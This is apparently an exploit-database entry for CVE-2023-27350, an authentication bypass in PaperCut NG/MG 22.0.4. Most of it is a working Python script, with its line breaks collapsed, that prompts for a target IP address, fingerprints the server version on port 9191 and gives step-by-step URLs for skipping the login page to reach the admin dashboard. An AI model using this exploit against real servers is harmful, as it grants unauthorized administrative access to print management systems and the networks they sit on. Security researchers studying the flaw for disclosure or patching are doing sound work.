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PaperCut NG/MG 22.0.4 Authentication Bypass

PaperCut NG/MG version 22.0.4 suffers from an authentication bypass vulnerability.

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#vulnerability#auth
# Exploit Title: PaperCut NG/MG 22.0.4 - Authentication Bypass# Date: 21 April 2023# Exploit Author: MaanVader# Vendor Homepage: https://www.papercut.com/# Version: 8.0 or later# Tested on: 22.0.4# CVE: CVE-2023-27350import requestsfrom bs4 import BeautifulSoupimport redef vuln_version():    ip = input("Enter the ip address: ")    url = "http://"+ip+":9191"+"/app?service=page/SetupCompleted"    response = requests.get(url)    soup = BeautifulSoup(response.text, 'html.parser')    text_div = soup.find('div', class_='text')    product_span = text_div.find('span', class_='product')    # Search for the first span element containing a version number    version_span = None    for span in text_div.find_all('span'):        version_match = re.match(r'^\d+\.\d+\.\d+$', span.text.strip())        if version_match:            version_span = span            break    if version_span is None:        print('Not Vulnerable')    else:        version_str = version_span.text.strip()        print('Version:', version_str)        print("Vulnerable version")        print(f"Step 1 visit this url first in your browser: {url}")        print(f"Step 2 visit this url in your browser to bypass the login page : http://{ip}:9191/app?service=page/Dashboard")if __name__ =="__main__":    vuln_version()

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